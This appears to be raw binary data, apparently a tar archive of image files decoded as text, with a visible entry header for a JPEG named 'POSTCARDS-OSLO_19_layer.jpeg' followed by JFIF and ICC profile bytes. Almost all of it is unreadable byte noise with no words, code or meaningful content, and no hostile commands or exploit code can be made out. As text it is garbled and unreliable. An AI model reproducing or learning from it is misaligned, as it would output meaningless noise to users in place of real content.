M5=AP]\(Q7=G@dD^)sLTz`p*:ܸ.N0=(7ni26:/\`K:Ph_J\}f}|[E*H8:A"#T|_֤SM^"$K#(!I6ryLۨ/.)M"CLqjS#"$6~ :[˴TR|c3ye'~0L +2O[/cdfeƄN0ڢRgB 2H9U\t) ܵIrsH}-k"ߡOck}6sL#,:|vmrWb23S)NPk ^h(/늂.mr$齁ֻ=omfjBόg5nۥFd~rCS/mK8nkymm}>;9)%7i4laJYZ&y?~g`vﶚ5ft{eI . r~Ոsi:yaТ Q֗Pa1vbvK9OEH|ȣ6ȷ6be9S\[laPK"qWB *+ T1 ~UɂK>3>`hSX*r ۏJ\L)(e\j!F2\ SpwgCO\gLW"iR۝] ԝ$3c`zƛjڪYZ?t\圯ii?ΤbSFPZTy:XԚm"i[HѨ-"ey}rEesMzٕ}*aU{9^"(k/d-IV7[yN CUkN'v͎Bv[ C2DрϘtbhw>uy7% UzWKǰprV.^9o h 5cR4&^wjG0}FJvD$Ycw)bVދM!>Rv}!Gu=}.xUPF5۵b7m&QMAtBj]WCt$US5+P!iA9,FL3 cLF tد$C(LkǍbx{@>:`9ȯm;?|6t2Ez+1ZxVszfEoՅS &@7SYX~!RhZ/\en` >y?M}ʓ7 x8UѮ91V[boǟ8lMlfgh決&T['$Szec*)fyfP08SݣmtN@|r ѦS+Ì*s & ]!FTvLU=">|m+w8#*2RXZkCnS%Ptϖǥc?Z]Sb^P=^Wo@*4L(=Ml+OZtS$9|8>!Gv*^j-:~XsZ Mi$hނ#GE |#,M!Vt),QI(۷8%+ ڪ HL69ǮhFasq$5"iM,Q~L?:hQPl9gRP.wvvU]YD, GY4\AQ:F.ɀA>9d,#h=s@-+gkvAu f@ 3kqa p);_SH,q? c)yɠ K&Xp`SD1@ƭrJ,9V~\\ժhd"})`Ch*k=1'xȈ,");Hn@/ItsnoA݊>oFզӜpzRSvaX`M1IqExA4a1T3#H2IƝEпUGs9'i[~UOqN0XzTv1 DT$I~yEd)I.+;yyV̮4YbBzP=n|Q0+aZҖ1 |Bx◃Uy7%y wS=VTkaB),zG@> j)s E<J;p8 #0f@}} '홳Z^f`Yo$` '==$_{U18秈TV\^\ă%Ԁ p0 znBs&uTii ؠt}'OAPdzU;R @.X=jBMFGTq ‚GOQ(>h6nj3:I"i+7Ң"ԃdu!-&TX貑VNĪ/Fdh*' ZӻcQ8 4FA+DJs *Ң &$vkrmn~Um6Ggħ3J: e#Υ2"?JQ\I'k wq%}juh'1f?qկ.X-«&a&9Ċs:S).`pj& E\=j{EI0"tպWET[dP%<D'O ǽ1>_ ZFqZViNj *K`A 6 j&$=:J.!+UI+d~Njd\xG虺ً$ qvgA&*Ut6f8=$) jB׏kY%v+& po̭i|x+W]D8qJºDy:UU {Tpaέ P'ݵGjzr9ڋT[h2T麫50J{ġHO$wJM}ɞ %sb ;S벹(..=~y);}ҾHc48Dt)زJȢas4r^Ry$>~ƦikV`[ ؿVk#"L$.q=V0'2EAm9J DUr$ QFE @k.)狀b/-'-FN+G.{RK8FRmNRJLȤ4#jIIBB p )Ed d!@]IW !%#蒓) '+$ @RJG\$ $nC)%'boKS`6Zj5ԀڐtM BPEI) JGI) $(R8I!% R#R\B@T@]HRK-.EREK.4RJHl@S1a`oTI-cnǖ[ mrDK;9=ycZ#`.)i\bUiX'5Ksx"eqdWȍ=LXətKiܛ^iiyj["a[,[ouB|$Vl<ֻ<SleuE8 (^y?G&d,#qR#lG.W?4Ds.IVz;-to.Ɲs{O$Oim^~leH|.s \8 I`W WfՃ]FQFﺨ6/zvD>"|w&Zx XM%d#>h;\=-:$(88PK.y*,;-B QKJ2{`vJt Zr6!'Se$ mڥE#ϥ?`/ҎKGRGHH_DpP(ip4PIQN.vvژPԔ4)%##A CH6F ԖR $ڊR` 4 R$mL@e6( IH1RR#u%Ԑ 9_ *~.34Gk.O+7|<^ϐ8XFhNKq/0oq)ɞ1ѼG#k }$$KŴ c+GQD: J~SXI)vGɈ9,.#\;-,\;7Édײ 67wCTxty_kc)(7(l"kodzl6v ol/ Rr"eV.FviE֥QsI =hjA&"lT1=WbcqkQPhxD #/u#Mqř==Utlcǫ-Y2ŕ_٣w5E幬zcX)B@|y+{EESOo"Hݤ܏8b8͡<.iCHw7`o$"c, >JmI. ʋ5SBK;7VMt7q\)cmwt۲`踋k`Dc$[nϺDh'lSe!qG9M7SQ,A% 8OHBt |/<- 'kJ h-$& ) Ȥ;]W넔I [xBBv ! T FBC@Hvk )!#%#4%"!m@ 1P.t GT5IIH$jJN +:\꠯%yjCuJBGj/>9K-fx\WL,]./ >Z=?;dz=h{ZzG0+PEc@bOTUJZ Hh#IHh..@]HRX,4Z}7M0GW5;;87%CYuek`Z; e/SSo\to!K+#V{mL!nͤ^#b:` jqx rk-R3Y0 p/U͍_\8u]cB Kf]a67Cገ}fg2"ZU{,~>-Opn, ZJ$N8;64Vd-Ԁm&85쪵9s_tfcmRi~FSA-(aYgxĚtz؁#;{\% KSEJZ٭h*qD$8${ 0Bo=BpT8ECE-[MHڵ#j_Eg(%'D$&M RB>%P$!;HvLCDr $I)1P4i) #))4Rl4! &4GT#@%" u#H))$4hF:u&RM')I~C頔 9,4V[w<[?x.iy):Gn? lcG*+di4$6 Nkw6 zohXO6lX)4z,b6sJ610e0?/aGu?W{ @lM W̓~^5g0mxd913͚I< M$MdgQ䡾x[$7ؒ"P5񿉬M>--= 3hl@2I<"#ri+y x*Sb$]Z}3 n-6;!:Vcd1홦Æw-r@=?O`'"ci! ld jx$vNC%vPR*sijSP;S􄶓hd Rt6BBv +QJLT7E%#))!i 򄂝&T9!iGJ@|#HPm e"CE85MaweubsQ[6ō iR@Z]3Kn;y`(Ci:"_#`vŦ' e~ Vcp{C<_ulj_Μ!Vf[Z' Ǫ<|iZ!(5o;yeZFN^sf;'/w[Z-;5h-g 欦OEC?;7G<#Dg:,fX]Gc .TR괴Cts7 Վ)lNrG^O,k VLDx)/jNMh,m%@*sFnh%sKl+1chJ48a)mDgK+eN3!wV۞i61G|rV2pR4G⚓#E$dYKJȉ4Xm\[eZ ,~ʘ 0U0|dݥMt_cy 5<eM$`cZI@դ6`۫[4n4y8YiX$-+#/``׺k%:83F8%M:WoWjvy MKk^ծTb)c]S\}ƍ2cgT'@XE' #e8IPw%W: l/|o-iASNkA(hT`գ>P)6!OI5I)9%&sJvRv!҄>[h6ިkj>42E҄uV&P'K~Lk'(RM H`6R5nNPIH CT! BB$tj X]C*Rt!&YQV蛇,1 c/SX0l͙\Q^?cmCXΪQ{B1g.Tɶ#Lf}>* ׵:33k9&^˜D%Xwìs^n(|bO6CFӔ!l fpzfKk[xf~JIR#mdGuЮm4-im4V/&7RiQTP-GnVH=/DdnvгTQmi`_+wt )tO;SlmtpwEH-)V@eU8ʍvU. FQY\Lm{ Pj vzvЛoo+uZW";=o'7wTD#1 X/v$[˜Շf5M0J?V6lEhW#h w] } ִ1pbŃEz= k/dzw]d,re?#IqkYddi*L"' ]. ;PeA*ޢtřgNqIWOsʒEq<_qrdΉL8sj# XXʍZv6tu>4B-?"L,"[~֛m g9xI啠|+hn ^Tq88hqh(ֽX8 [%)gTT1I Sʼn6† xAHs:-IDr(KmfG u,!s6c6&cyXw'~YLA-:̔Z,l'KdJ$c\v e8 A4.T_~+fy-s$h<*,)e.$t mv@7E+Ij@o6-Z@[Iبb[H vjEvTM -) {L,M*P jt&82F%pII ͨi0oKJvIH JNmCH +Q):yېOL_L Rmlobcq J;rƦh2J{Zw'ʈ%c3$.z,jݞ,ΥUH*8G{n/60D)iт3@TxQy6}i GoR/,Fmhj4fPTxxnxK1XZ@#Z1IZ8KKTsN*e~8Kd]K*V 9LEqJgFNl Be EWE,${r) "|x6B#F6+m:rtMy͎˸ :Lw 9ə58$pp4b1LyL0S?(' {Z7nbӒe69 #!JOT<㰻i5'lђEҌi3?fso ),dU]-iv? BleC >'ww1j& ]oCT8<;Hȅ93Lc ZoCkc@輻V'Ǒۣ${x?f9p.ќlarOtBK!it2u)qM qR&VywRVc]h 8`WFW+[&MԾ6haz01CT"x`Uy͌P@xJpRŞ׺ZA -H! .L;RP@Q ћAFtJ%.ԄACJ42Z,Rv-;vO&yUd!%#i M  ) %#4EKXIw))K];-&v )d^ESsx;GrLGEcif*lG%7.:FKIJ܀Z征Z_悲]XǚM'sEÅޑN[)#4v6NR(uX!Cч{cH!EhQ3|NBi^)Th\}JsLZ#0iu"iu"\WRHQ!l4^AW f;l8yzP^]t!%l.DZLeD!szpsM˃.M*6~Q7Nk;ʐJcLV@DtUS2B͊yY2㻧™Njx쑄ZŒBVT-4S!)")$@FֿW3o!yĽt =:F",f cܑFhX:(ݔxtE@p鵵k+6l7gƟZWKa,Ǹ^}]؎{HE ]hPmhF;ZBUjʼnqZ-;^7rgdy굄uf2n>kMx9_菉q3N*ʽ dpN Ao C(u߲)hg Q!">&\-&&hq@K&'RvDR@A)NblDb쒓ňT !9 $n#!耠JT)WdQ+>a(4ciO'{i&f=e>[2;>:C6`7H+OE\6G{N>Lyg9 *I7ҒXQqcK'xzxs,Y]$nh'*I\MP'+qKERLI) +Ӟ[I[*kSZQu=lƚ:# •adQ}T(QtDŮJ(:'ܮp4MԧJg$t֊ʱ2K@lو!c(t| w[&Nݠz M~MtT|?>ADKABv肢d*a㽀ݩ;\l+:+e&~Tq+&UmܶFf7cǎ4YO fz =,kP4ZsF|EGQ:Z)$$ycI?twK9.g;̦;pWr,Gmi a݅iUE& “-e-ZWZJI!&Ի wDZq6EK@o Z+iNhRn㘀ZBeˑ@6[|B[I*# -*I hCI1m&- NR2Z n|(BѡQT(ܑh k-PjдaY=HnJ=-ZS 6jeϒG+6JZIǒQ$7/u'KѲ ޭ{*+Q%j2ٲÐK}m QQ)EmFRf]T v!%';$@I)9Vh@ғoT1Y!jm +{ 3NVXUe; AJ.Οn26BM#kBe3܃99:aLAS yerk&ѧzp^I \|7R3%XYNܩCD0()8]*ݲ2C&| *F:C$ΖBtqF.ܠ[r!*dnwP:&I \6+ ?)sxMe:hBn1x条JVWY`&+9<3#vOu c ?=vWU2%w\5يQp?~>V~0A.P8k|ED9YG5U猙w$Q湿WDs,3T #N\@~U^K^艵g50W8 9rc&j@(+9Z]Tj! ځP$:@PBm((!!%ӚZ@`!gTSL $ҽXU1ǹ`lbY:@/aW&VJ#O8hetT|v՘y!1L.zJcOBihq] IFw^ϥݸ՞{3D. fQfM>e6{HhW1$J XAD.tj,9I6PWvrBRCm tb`.F8]To= c#'kr(i!xiW#EGSS=DrR^tefL~.ˎ^Pʼnc c4#ҩz]3U H!2E >4]A!WS;=C!U63`p7d04݁Jc=$,Z w(cp)\+f8mh?sRnԧ2]3dhC+\@C$UCa'$Ne6I4\]+g(Ro=FBTɒ6ACbф,"yWwd5X4++xN'`x)@qF `#uwiZGlфQf 7ŤPsL xֱʌ%5v*ȵ6Rxg?f &uIJ3sX{YwT߰RR0z*ӲxA\ RrB`0XK  q#Ԝ|d Bb6<خ-1e$؇bBqYnnL $G+ йGWYO=Q:_x\ΙP\/ eai,vz vo<ݲ8BguiFnV#~4k ů?ϑU- F =ֲ5U.νK3q>x&g\b?j(qFu$8D)W">IXMP̗4ZyH'z-"z96+ʇyl xm)l.RCoڒb~IHi%#p-.pݔTݭQz$j%.3ФT< KTPݒuSX}Ҽ?3Nj;SmsΡV3<6;&wJ +/DjM„)ȤY$9@^MZCAieqy sx!Em1)o =JGMBLId824H$$%$M&]ӭ<"lcDּKH,PLB|ג՜fWui!ž*.4!\lo=Fֆ"hTC':Adp˦Ugu _*CN(F;5V -sKABa$ [E*K jcz*׹Ǣl$Ug- !zǚ;&=!Sw#PWpg]+"g#Jm\ZZA4~SDRq rt>h6}n@X @ .o%hINPFj^SeǕKkMY.a$>2PU&m^xG:PT~08Wd.? ;cQ0^,DJ4nQUxΕƢy9ȟ{HG AiHvpZQ͟3&5|)I$2jo*vc0dx}-kA%+{)5Eang:XvNc`hP]JMhpRv$w$!I6PPII]HHBvh )ʹ@Ps8&{&D Q786%@ 6Ý6U + ;(+?*t.<*`U+K]HPHIzk_ʸl2 dN:Pㆆu]R T1eQ(yd+C9OuO44#87dڢ{ %Gǘ=)0V$1GTӦI &[ЃG%5 (9srqS61BtѦ;J \Y@48jkrꡫp읏x}H/j$QOu_%i|SGBBAWE{QZ}Sp|,zsR#RJ&>QCZbMR1pT&',juP*1~l̅R,Ù[grʺWHXcR-($&-qoXٲ>SM$r-AQtL_9uu*wa_p] ZF8Y dfpJR5J4LƆ ިv*J EA I\3<*D/$QqV4r UFcxi2V)Rlc@Y)L3!\ګO2ӑ$4\yFo9^A2$Zx wN%kd٪Y˻問Fr#Y=Җ _tCfrקi1u9^e[n̒Y4eԵ79ΥgI˝wc 1B3NrR\Ay&IvCootgnh$\cm H(€)p$P$-NB8NC[PNbII-vߔ "r-IGEIIII؆vЎRlS(kjDG HC$ yWͥحm4pv[a4J6@3M0{oGHE04QhDMu 5Q:W %&2Ұse7yM򅢺8nħrnA!n.)ETX1X7{ƎW4]G.8 s\/C],Zm^9qbP@"ȍ5ܵ0 oMQw|&Dz YX_\:IBX֝X;*QP0Z! GEpaǁ#h䀊F7=$Ml"6RTm4!8߄81,AWrzMGSԭdy0QZyܣ cos]bckS 쐗$i(SC\ksE&HJH4 s)I4(TUY46֛chD,F@{p%+[ R]5j QN4q]1TAen_@ؤՅ\dD,V6QfkM=`w)M9#T}jf0ak-hͨr䱀LqhM򧟒bO< Fś36|mwDda$8 ӺYoekTCy|6%䱣|?JހPR.&v<zEGf%HME{(9ĞTkN^r7ɕqL)WAJSys֞)JƗ&yCdn6uFz,.H:; akTUy]{`)& IܯS4E4INɂiCWv!a0QK(Z0#q&(C2 LI ~|EIPP>ddqJ!%Hz|JҘM$0|#ʛ) B vAJ;I-Z[I S" !ikl"" pLK94ƊjTK必y- 4P7jr(IHlQ`pi~FCMZ.?KvUzf47/Pl9su7h/D 8,%N.R$Þ`h~*0sh[Oc0ݴBFe=Ů)/&M}K4ud[i_OPq3:'<ִ4(ZB#{+DnADvHK KfgٻZlp$ՕŧLo+&G6vUn29x=X˗ 6& ϓ8et(J#gV#e{t|,9؏8q䜧[AdU=7t@d skMo vcˑl:O0{I$CBƸ;OtGd/ؑSN}( Secs!1Pn(R7RB{6)Rdz@NkgFIctb!|I쥤H/mPLJF5'YR*׺@ hqqFCX8MzBBe O*e)P5ijcB62 NHiӺ0k"-4I#\B*+G`ZvMcod-T%-4Tr8k_`\8^:(X<0j33_t==/^!%cE ʇ>.['N=@vjb+=S-bNjZM54I]GoRȐJx3=S͙{#!iRi!iq\=Nvl2[@R͔sJIVfcPӣ|oU&,6bD *n[7zOefq~N-*ݏc!cIR Ύ&F@pZG+>^2pR$Qd[jOJ9Lشv78}:lmUm\'D蝸tRwU705ԛ_KԬ wNl#K֊y DzOUٛmn=2B])m&/uϐ4"ƨ;r zDcA˞e{7St4BtOsO <7;%)މ`bJ*fPQNWEFN[ƻ*;*i2Bh{H*.ž6P\XUF]&D`݀WP1āIE#\8TX*]-nj<'=@ @`5+}'H'D>iu w\EkG021,LCw+9M\p1k,b}]VSjF:B *j G&٠`f8s${cqsGU "39̌N [ A2 o=ߥ%/YO Y(g$'ce1.3cfdeлl7?ס53:пydүv973fl `:rOʐHhsCPtFӽB|@ؚhtQdtR}Tq!Q#]v*GIsi+ 56F2LvRO=JHDYdk)Վ&Bn&Igdnbᱨm=ԀRt-f0nJ<"a;Bz=(;)-i(K;qmFSfE @!JxGUUBNF8l  veކ ~%ZcJѳwy['є[E9#)v8IRxѺ^֟ɌGB@Ğo ;VMn ([ݝtJԬB>SSn@A:]aO+줿_G3j=WTz0tB ML۔L嗀SzNe;V2Gpm:,Rh1[k6GpCȒܖW- WӰmRdCAIk,gUAٜ:tIDt| OJIyܑ*K ̾?En$¸(7{de(آ6:kcw!U M퐋&kE}Д"x Si႐ks4w4n,-I,tm;}gl7M#qPG ײTk7-'iynK4I\NiWg0@UYZlo_dr -V^f ٲdq?1VM~N4$8,w*yHfYEʫ/MtwA5'^B(FR^$<Ǵ%m4ɁN1NqO+=F֙4V 'BGxVQԷE7.&(zPiR]Wd͈쫰rYv򸶹 2[hNy5UiDlmF6K>c|]l>"ҁjLrou h'1Bpo)_FL̲hʈQI@mTGruKAJUn`+ĂvUQx鋋l!MdUEw5)<LKl 霆2̙Z}L)&lPDh!}C"% nƽ̗MK.yS*3=q\xc2^z\dg4*!. [ѯ%G,e#.I^v2A0seXDƀhY' qM8hMs?!ޯl[#n&3^O$}sGN#Um psX]̈́j1 -V^-̷tQh9HsIt_M y[CYLuJbfDygB oSυ3}(ݕ*! ' Ju.cxOK%ג՝iK]xQky'NzPJy蕍\i<ͅu*D184ZfS@pT9 'N[)BR7oiy@W~%~w1g戀KI F:-4iYFrU eSL!etqd)_>tvESBu_cdZ(#nCż{"ODI}rS1S̍Yl,i<'<=ǩ51?GD$=TwFC:r}A qXs#,6{d d7-`JMTkڄ/hWx#;aQ{,$";6B܄Uɤ3 ANg4I,k@wŽ*~f ݢfo*A |a4oh|M〝DT`jṡ ;/v܄[|4ht H:F:NDs #L9&C+6*-@,h~k: J'_Гn0c!/^s^H滧¯5 M p"H1r$bvǪFLOoyF !S@ AOh1D*65됟$<9mftA{|/Ѡr3 KeXYhv ʺ;n 7lo5s!wtka.2i.G ͞Q% \[kgiz}5ߺH%(%G&Z|ȸḐ1A9ǔ;ʋ&fAHjؑGgp功鬣]01dM|=  f=B=F4Q5,ȂRFY0KiF<͋o|A>6py~M7KfB=NwQҫ}ǤI,\u(ˈ!gyJwQ[o Ey{#xѵ|)8/Q>i B<֓-s1lSc\9\͚jO ⨩JcIBkɆCIa$Ẍ՘6hܣhtl_Mz+H|ꓳ~T2m:WdI'="1#G@VS4Qb6y!Sdž]e[߰{>/=n lo@p`BZN)mWZ0(=>-' M\DM3.|_. ]ŎU'.HgO]¨|S-,ZgD &:cnDž/Z~L,q%?ӕ+7DWF~yU\pn6U.6<91w8 \y qYAvC m%Mѧ/r5X"H1<<|yt/yluuȒy+pn9\ !ÑJA?K״'*~I+v JEN{uK=f7o@U&Dqa.V6 ٞKZɒ^ކV{"\@(Z\N}ҭc2♘GPيY#OT&RP)=H]dg!SfE$ ;a{;1-XlF)E\9[4ё %vC QI7{B6E8hkz| R-;pm4Z )cGJgHi0A/U?K @W@eC9 9E"Ь71 xEzE#XH셲bz)dÒ\%Y\oY1(GrRòqI96=n$eUS0׺R3Z&fMpIMs^ 7IsVw#cw;*oi}G 7-V5]Agq$.(ҜsÛD;ex$Tk]8ٔH5]<(L[Դv =s$`hy𮽙vG (Z6`aII;WJIcޗ4y30K?QdL&0:&7,کb:#&CcGZD6W<ְG_~ak4oZn+tK4eٜ.9#/Ə^OWioZs䌩.u4rXak4Dj_KXqeA<H8SOfIDm>.6.D-ňǐ&{68m隈<]:w>#"sK\dp~ʢF̧y-hUjS,B\1t'Y0 g7I( oT2`h&9%V %^Gg>Mh|A⬱!aiUV&щ&:(pbH26ҊgxqӜXnP|D qL+dn2H`0ˋǰrJZ|]ը<+ȰH w|E.TieaS QVjFoȎ݂& qٸ0`阱93j>1ҪZ;{%3O*52]j)uV(ƊAnsR#V ;)!>̮#"h=ԘK$)Z]6(`m= ^18y9h!x8aKM*C#:'0;IW~8zW]D0W i#59\&)ĎvZy~ v6K49!fT [4Z" wp.IBYrC^L[o[&Y?Q%($GR`pkFeM1LŽCU|W &rc,yq=r2>)B?TDk2#kYli#g-SZSqy& ?@hNS@pz*!Bʽ:65ed4P &>lHp}IP3g*]ɫcA a[Cg+Eq6Hi71j˜v'[jzs&D VKdxxV χ}L?E10+7E|EW _R/#c@tm-F,L|9\2|eDIZ4K$&`NM=h䭏]ͻc-4FƪlǸ$JqdV5;pg4rl$\vvv'C1. {֔-G\8+fR7Ovk.љ(T̝MA ΐ{Yf7=-6&s%nNIc8EfKD=$XO0[zRrG7^$o%&t^щI.ۖ}vVG)&gĮLsi趃&-n[.X ]1evYjl7y6 .ypZWIOG3F_ZN4 k2+@ i/ ciS?^Ӵ $˜߉kُ7p .<깥JJ]sXL+QtgCn)ϨQ@U8ܪ3'dS44G44r;yݨ9~S] G*2 -7Y]_>,b]9U#%Z5Ȅإm&*]|A2A( >im,~hitr-z1Ʊ̱1{0 L}z,c Ң';[ș%i*VOS@s2$)۵TZt䞽Rz ?# :9/ MKA)L๛dȜq}Zv3,.;=l{kgBدȐyj:)H&T dQ7lh Q? ڨݕۢUĭ$ [ aCtLw< 'Zh,t!.qY[Pq>[NR@<K "uL,49ZHlA5ޖLsYZGJaʿiE&h_wkH㎋K xf.V08l[xZVHGl[SH;* XB8D\<&G/HqkX cmDS cu[ <;Dь~++G21r@hLA4a3T#ԥq &WQ X/^qK,Ҹ[q]4%i6;1FmC$}N]y+@{q7=/?BзO@5}XSJCe5˜I؁ Uf3R&_삣%7Ҵ˜${ ~:3!GWël4BLh:ӜaFdkq&DɘBKwf#++,e, 'Tw[+ =lV^k1to,9h wTLlΗ+' yxOH 2.&5]5֢9,Pi6UQ1.+9Up&zL^ iHwrc c#m:,R^["?J7GҲBrKu7WXx³zcG8%e2 i .f[ah#lپ=LyϗbTz+ZṮ:&˛@̍J<]+?^~+ INQȺ*&o-M"@Ply7gɑ0kOR.;e.g0q~O e "`〢G}m깸 Ƒn aOe:;--k7>|w9YxuIZ=T `w 8N{1IѢ%4*M_\ˇ u^{joB7;8Ǒ1`=^VP=w/2aŃeQf1LMH͏?}Oxo vF\n)v5?)giHݟuг%쳚&_# 乐7N'ly6id4uuc$`s\ V[ߚ~&Y<E+Encx*Yc ՘rď)DI#*-&ķg3h5]ÊF:OLɲff i=-ift d1Wl M[Y%cn #Ld rI Z-/E+|sI4ccEWIqEɐ5 ?ӇD 1>oT[*@S-#gy{*WH[Z F w*^/xffh]WScr  u:L,}OrD]Ý3| 2 PpeӦB;VLOo.@ZCe;? gH؞A\͇ԫf@qņ ޔz~s3(u7ֻk8Yx#2}=ߒF{B|c1ZSM]2pd"I2ep=-P>We9¬>EErpp29;!S P$ZTDK4rHUF-7eCcy(FԠx+hr'Jd?OƏ'QnK$tx=~]Ou3!~>GR['uhմ=0ecdߧdkCkw1=YxNq;(s3q`$7 gE?M9Vm&^,<4Xǐy.êcLմe1 z6ej`o5TF{Z%nC.#|n9}.==[)E Yz,'L95VQVjQ)2REV^VVRϴ5[q .t)',4h{x%]x.HOj%Jv4G@Gc]Z)A V3oW\ecY|r4Ƀ?%iwQeޡ\vL MsCKࣖ,7Xv4P2kA%o{G)@\8۳}-zF(Dn线~83!`hh.|hPYU$ō? .T M>6Bx-tcyQN*I?=M+ցDʝ gєbN柘ַbsu'X~)uo_h(GØ(tS 9yopy٦s¨Ιy"FI#[.F2D`&~D @Q)>Ѥ"3GQKisϒR6$IZZE>OXhmY2e)NqCZTrk4^8Q?8˨HV<.\MiᔣOoWTdlm@'#Yl}]ߢU`lz@3A!'RI/آrDԘrrb|8%œ}H=UyQ`=dDNEmSh5I\'Ð-Dږ42\$rH@ .K-hq0vˁsU隔Z~C9󃟑]#F͎R02)\iRm7oFHԲaḤpA#}f kKKִ #N-Iӵ8iq%:lvY|pZ>_{ojrtȂS>D `- PII&ed5LIa66]lfֻ&WYq؉UddnO[h5ޫoNabdjM8m ERGL/ᡭxKKVˌ.6=|ă ǘ;!y-{O@xUȚ|C.Co *L<9Crs{ŭwIǞ^uf@s/HG謳2,xo7 rMj]h;*O443~OČ1(Xu aQ睭m~ZAR&'PYdG# dB~ f230Fu'ޏc+iN.Qk(鏒{$ExIt=j>k$v=v?es$l2c QJ"0(óKRj3Xj;[H=~iiߩge@"1.Q3ъetb:C`ot9'fþ:`0+r#x+MgJş nquJSfM&I@:6sos{$*4N@Ao]Ԝxۗip4Ш':h[;g7+{sŤ<<x!xs[sO]nkK]> 'le+ ̏9jGvs)וX 407uz%E 3pWhچK'NTf,F&JbM\Zt;IjSBkw[~ʪIVx5HEX2]ȥ݅GdJMhؤ=WgPGOSh b^cېR_ Cx;1()\f՞msy*y.\cs$ )iqZzҕU7kzFkId(ǖk9q9QVTdۼ΀LҒ>VHIE#ͷ!Gdo\ :e4q敤u ,HU2֒ag=RhX XJ]fk,85Գ7C/ԺrEsޭ|q^==D~FKf,xFg7sZ P<~c5oiwx황uٴS 2HM$|lERg<СѠĖUeiFsv0068aRg?') /mTm=ie4-G^]\|aMW+^NZ(f|Yofb !tf -ygvD6Ck0zŸ2H|ӾB_㈹Z)$N~>v~G/k[%li]A+'(77Kƃ`H#+Epe^qqFr`wI/tsocH$jwP;Kl4aqRtܬ>\j=¤$hʛq_uu$e ?+v;K{hYXl.[\ǰJӺ.ʯ'TCu+0C3$C#uI(,ZiY}N9Ɏd Fl YY;"<ùOe*mi(0|hbYochiU GՁmOuO&&n)|^ZwWZVtBcn]>jC/@e bdZVَʩ8yE찏.laƍCvPg>S,A>)"k8 ҇jv_O+0+ƺo7L2dIhңǛQB[#a%[]C{r2#i4ܖ0 rᥛqB7d5;~YthEʾlp`(H1ozZCs%%,$m|g$״sb9k6@>|c&9_7޾~S2x%>Wdm?DmG4eԇytcJ7?)wI v¦|X^&Ñ;7{ ;)Ԧv. [WM>.˥d -fAh2$oTS#O|e5}XYh("lخ]4c+Vtv1$f/oM͕TrzFTBRk#R4}K7Y:@>9qm5Y.jsRŕɛE6{,޴8S"kTԅ;Ԣg9hjlRS9ĒUw+ª'rPդܷF9hhQ Lyϔ:.5@챑8>Afv.º*"qy8{ty FvTCya *DOU'WHk]\+:續3,- S*+P9ĵT訲yc>]43d4z>RmQr"xE,W*Ѧ<|4A%lTb3<Y|[b7pձ4{vFW4p=a51#@-ũTzd6åj.lmM& Oϙ1avF~FqF߲o<`ɁGCt0ۯ{k?E8-|C%tmyaQ$s6viK%x>켡PiiΔ/ѠYxFQGG==SC%Ɲq`>5MdG-cJ.\}u꾗VsBKEjTCqq2fr [\H!N#ӡ9rXÇMzDIjlk1gSE.Psnز84T&hxNyAuwRA+6lemrc},GicO 䬦 i`"}CJpdes-rU.f.%|AeiFsɸj;AFubr0.ܐtH}.{&7.T# !g hZc#X:KtLVƎa|Ur alP)hp%抅%rcM%e4Y%ͪ_1/U&>diAss2_HR’OM&ZǖQ\]M bE#Ę;%uϴVFC^AXNj\aQ;q(ˎyYn@9Zn`qI l/.&;IOQ<?(fZtHȆ\vOSIrHZzձˈY#NIwAiO3>3o춞 tkHd+ΐdזPh4|شr&7ٞ<'.,v*d kX1y?ZMV3=cV4- 2G*Nolf 3%M3{nZķ= csrd]46Hjcx>Guvː peiÉ.洃gR:NlOeATJ66ǒ?cm[ []𪙟G^[`2H /ih,vF#$nHN.>WaB,2e hcgb {'m:}ԖEh15&6le:iapn٪9 mc֟[N_6?Uw/q!G{[QԱ2!c^/"F;*\=ئ2@ dr67Qyi!n~ zM"Ladyl[*QD/c˶&dyi?+hqLTlk9knWDP: _*Lhx W?.x$/dvLwZn$^|ldG' Zcd0cs=\y|N.{:2]XaclxVz0qkcQ$SXK8V:n+3L1nPwTdE.@t- J0.;${)??ùm90ŌЪL# ' 6H.d7pEsّ!o;%Qc+qϒ64, z@U򥑲G<&qr84 *u-'2Ճfp=斓~)crE_<.Wo8TeX꨼71PqE_t簪'9rSCj;"s$xB]@iKJ F9ȝEׇ &xZcFϲE2I6y'ɞ8Aggs?1y/E[˺&G\yܛ2BQЦ+(lsM!ZB> ;  V 2iI=4趺IDy<+(hT.'6$= %y;l˥T0dȲcc9LMbU=P"seg&y%.q0 ԥcB%':(THXl9)HuX{R{rr( 6<+xYTL(]^u꜈Q=w̆"LIntlGCK T O#9!~_:ޘÝR!4~uH7svf?)ѾOU8e8.0Ǚx|QiҪFĮaeM:W< 1 CM9{%Ѣx:F.DuX;uv%eq>i\V1Iάyb||hvp~K^e&IeG_ sO=UQ \bJ 7cu ?˖@^EjX/w ӡ5j8W!EɌ@N$:0x腧y!6ɪ#(gmuN3`+6-+"diPh|22&Vkp\fH)*I4M1?kg; U;/gѣDxMS<x∘ }Ք)6#dq/^#ݣlX@!i,tD!_# hz~C'GhTV_ %c"KMb ug)9vo*Yy -5)}SyАI s$nz+|L)K^}B'LA ,NXX濒+(57iG zҘCԶg6]MP=B>t؃\څ;, cBi,9!I#pGr\1#Ţ.NI˚ز Y``8wyarBq:f4.Ôt誳 Y\Yh!I5aC#oj'nr-1$krlG*(3ɼZgmȊ*ٵj's:$uY(S5h*?7ȥdlx)l Ul]%eu [ٿ mkДsW)lQ4|h{kԁ$Ok\DP} x 29 M@zƴc3<-ZSZ vz# C7X>n<{v*W<Zz9m,0E(_563\VHqE 9Bl4Tcu\{KDMO03@|s+,|\V@pPu]FƊqq_VDi$0by$_Ug6| # cy*3H|[rpb8yp=6|<(FGƍ,kQ״ӛkHO_2Hr/7[ԭ"{&do)5'TПC OVTSE gELK4zHdȟ)1PqQ"XP$Q;&#ba蝏wUaCa'+h͔<&bN*= +S?Tm#Tᨧ B4:P$ɸU*l>{:Qflt\*̹A&pS3~eϒ(郲dbAu i'B2?1WމȐhh# 9R0M `s)X 9 IaR"HZO(3ekq.6 w/ڭ|-llYu[r;GBɷ\Gt$,=Qqw^y7uq9++4!pQNQtUIH QdVց|5BiԇLTg5 Ppw4?Yxf-zg/6$CfΜ&_TFKt MEv+me~Y#ώC($k[^i;]!ا_$ }l<VixD8Fw )"QDVn;J°cKĀuܜ8Gտ8䨅%e.~video-media/POSTCARDS-OSLO_19_layer.jpeg000060400000567312151724237330013440 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt(!Vzg^#r)^kJ9}:b 7 ^ E;+ &0L$i+Hț->b5>B 